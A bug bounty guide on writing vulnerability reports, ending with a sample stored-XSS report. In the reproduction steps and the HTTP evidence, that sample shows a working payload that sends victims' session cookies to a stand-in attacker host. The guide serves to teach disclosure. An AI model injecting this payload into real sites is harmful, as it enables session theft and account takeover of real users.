Report Writing
A bad report on a valid finding gets triaged slowly, downgraded, or ignored. I've seen critical bugs get marked as informational because the researcher couldn't explain what the impact was. The vulnerability is only half the work. The report is the other half.
Anatomy of a Great Report
Every good report has these sections, in this order:
Title, Summary, Environment, Reproduction Steps, Impact, Evidence, Suggested Fix
Title
The title is the first thing a triager reads. It needs to tell them exactly what's wrong, where it is, and why it matters, in one line.
Bad: XSS found on login page
Bad: Reflected Cross-Site Scripting
Good: Stored XSS in profile bio field allows arbitrary script execution in victim sessions
Good: IDOR on /api/v2/invoices/{id} exposes any customer's billing records
Formula: [Vuln Type] in [specific location] allows [what an attacker can do]
Summary
Two sentences. First sentence: what the vulnerability is and where. Second sentence: what an attacker can do with it, in business terms. No jargon that a product manager wouldn't understand.
Environment
- URL(s) affected
- Browser/client if relevant
- Your test account info (never real user data)
- Date/time of test
Reproduction Steps
Numbered. Exact. Reproducible by someone who wasn't there. If a triager can't reproduce it in under 10 minutes from your steps, you've failed.
Rules:
- Use exact URLs, not "navigate to the settings page"
- Include exact payloads, not "enter an XSS payload"
- Note any required account state (logged in, specific role, specific object ownership)
- If timing matters, say so
- One action per step
Impact
This is where most researchers leave money on the table. "An attacker could execute arbitrary JavaScript" is a technical observation, not an impact statement. Impact is what happens to the business or user.
Ask yourself: what's the worst realistic thing an attacker does with this? Account takeover? Data exfiltration? Session hijacking? Financial fraud? Then say that.
See Impact Statements for templates and before/after examples.
Evidence
- Screenshots of the vulnerability demonstrated
- Raw HTTP request/response (Burp, not browser screenshots of dev tools)
- Video for complex or timing-sensitive bugs
- If you exfiltrated anything to prove the bug, use your own account's data only
Suggested Fix
Optional, but it builds credibility. Don't over-engineer it. A one or two sentence fix recommendation is enough. If you know the underlying cause, say it.
Complete Example: Stored XSS in Profile Bio
Title: Stored XSS in profile bio field allows arbitrary script execution in any visitor's session
Summary: The profile bio field at https://app.example.com/settings/profile does not sanitize HTML input before storing and rendering it. Any user who views the affected profile will execute attacker-controlled JavaScript in their browser session.
Environment:
- Affected URL:
https://app.example.com/settings/profile - Profile view URL:
https://app.example.com/u/{username} - Tested: 2025-11-14, Chrome 130, Firefox 132
- Attacker account:
attacker_test@example.com - Victim account:
victim_test@example.com
Reproduction Steps:
- Log in to
https://app.example.comas any user - Navigate to
https://app.example.com/settings/profile - In the "Bio" field, enter the following payload:
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> - Click "Save Profile"
- Log out and log in as a different user (or use a second browser)
- Navigate to
https://app.example.com/u/{attacker_username} - Observe the attacker's fetch request fires in the victim's browser, sending session cookies to the attacker's server
Impact: Any authenticated user who visits a profile with a malicious bio will have their session cookie exfiltrated to attacker-controlled infrastructure. This allows full account takeover without any user interaction beyond viewing a profile. Given that profiles are linked throughout the platform (comments, mentions, leaderboards), the attack surface for unsuspecting victims is broad. This affects all user roles including administrators.
Evidence:
- Screenshot 1: Payload entered in bio field
- Screenshot 2: Burp request showing payload stored in response
- Screenshot 3: Victim browser console showing cookie sent to attacker server
- HTTP Request (stored):
POST /api/profile HTTP/1.1 Host: app.example.com ... {"bio":"<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"}
Suggested Fix: Apply HTML entity encoding or a strict allowlist sanitizer (e.g., DOMPurify) to the bio field before storage. Do not rely on output encoding alone since the field is rendered as HTML. Consider a Content Security Policy as defense-in-depth.